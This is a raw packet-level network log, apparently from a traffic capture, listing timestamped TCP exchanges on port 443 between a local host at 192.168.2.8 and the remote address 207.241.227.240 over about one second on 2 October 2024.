Oct 2, 2024 05:28:29.744987965 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.744997025 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.745021105 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.745037079 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.745496988 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.745511055 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.745549917 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.745560884 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.745596886 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.748830080 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.748857975 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.748912096 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.748940945 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.748970032 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.749350071 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.749370098 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.749377012 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.749386072 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.749408960 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.749430895 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.763724089 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.763750076 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.763870001 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.763895035 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.763938904 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.811027050 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.811048031 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.811176062 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.811198950 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.811240911 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.834273100 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.834290981 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.834413052 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.834445953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.834492922 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.834651947 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.834667921 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.834711075 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.834723949 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.834737062 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.834755898 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.835098028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.835115910 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.835158110 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.835165024 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.835197926 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.835553885 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.835567951 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.835601091 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.835608006 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.835633039 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.835649967 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.835798025 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.835814953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.835866928 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.835875034 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.835912943 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.836415052 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.836431980 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.836466074 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.836473942 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.836498976 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.836505890 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.848153114 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.854196072 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.854212999 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.854315996 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.854362965 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.854410887 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.901761055 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.901778936 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.901927948 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.901984930 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.902029037 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.925009012 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.925045967 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.925192118 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.925256014 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.925256014 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.925292015 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.925314903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.925314903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.925688028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.925703049 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.925739050 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.925757885 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.925775051 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.926111937 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.926130056 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.926157951 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.926167011 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.926192045 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.926449060 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.926462889 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.926508904 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.926521063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.926532030 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.926811934 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.926830053 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.926862955 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.926872015 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.926888943 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.928715944 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.944713116 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.944732904 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.944880962 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.944916964 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.990133047 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.992181063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.992201090 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.992306948 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:29.992327929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:29.992364883 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.015403986 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.015419960 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.015496969 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.015512943 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.015538931 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.015552044 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.015845060 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.015860081 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.015899897 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.015909910 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.015925884 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.015944958 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.016259909 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.016274929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.016304970 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.016313076 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.016339064 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.016355991 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.016629934 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.016644001 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.016669035 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.016676903 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.016697884 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.016714096 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.017049074 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.017065048 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.017103910 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.017112017 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.017126083 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.017149925 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.017426968 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.017443895 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.017476082 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.017482042 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.017504930 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.017518997 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.024502993 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.035341978 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.035358906 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.035419941 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.035433054 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.035464048 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.035471916 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.082761049 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.082787037 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.082869053 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.082890034 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.082981110 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.106067896 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.106085062 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.106184959 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.106213093 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.106254101 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.106316090 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.106333017 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.106365919 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.106372118 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.106399059 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.106415033 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.106750011 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.106765032 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.106825113 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.106832027 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.106864929 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.107116938 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.107132912 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.107165098 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.107172012 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.107196093 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.107213974 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.107580900 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.107595921 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.107636929 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.107645035 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.107681036 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.107980013 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.107997894 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.108038902 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.108047009 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.108084917 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.121263981 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.125818968 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.125838041 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.125899076 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.125907898 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.125956059 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.173504114 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.173537016 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.173603058 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.173614025 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.173648119 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.173662901 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.196666002 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.196702003 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.196908951 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.196924925 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.196994066 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.197029114 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.197045088 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.197115898 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.197124958 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.197166920 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.198034048 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.198050976 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.198103905 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.198113918 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.198160887 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.198335886 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.198354006 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.198405027 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.198412895 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.198451996 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.198688984 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.198719978 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.198746920 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.198754072 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.198776960 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.198796034 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.199116945 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.199131966 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.199186087 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.199194908 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.199235916 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.216517925 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.216538906 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.216620922 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.216638088 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.216681004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.264029026 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.264046907 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.264147997 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.264163971 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.264213085 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.287548065 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.287563086 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.287697077 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.287702084 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.287715912 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.287733078 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.287760019 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.287769079 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.287781954 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.287808895 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.288178921 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.288196087 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.288265944 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.288274050 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.288311005 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.288577080 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.288593054 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.288638115 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.288645983 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.288686037 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.288952112 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.288965940 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.289010048 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.289017916 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.289056063 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.289417028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.289446115 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.289474964 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.289482117 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.289498091 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.289514065 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.309586048 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.309606075 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.309740067 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.309762955 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.309804916 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.356698036 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.356713057 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.356823921 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.356841087 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.356873989 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.377764940 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.377783060 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.377923965 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.377944946 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.377985954 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.378226995 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.378243923 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.378290892 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.378298044 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.378333092 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.378592014 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.378607988 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.378649950 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.378657103 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.378690004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.379077911 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.379092932 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.379136086 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.379143953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.379180908 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.379496098 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.379511118 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.379549980 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.379559994 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.379590034 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.379961014 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.379978895 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.380019903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.380024910 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.380079031 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.380148888 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.397794962 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.397811890 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.397901058 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.397921085 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.397955894 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.445101023 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.445117950 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.445224047 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.445244074 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.445291042 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.468656063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.468681097 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.468801975 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:30.468822956 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:30.468838930 CEST	443	49704	207.241.227.240	192.168.2.8
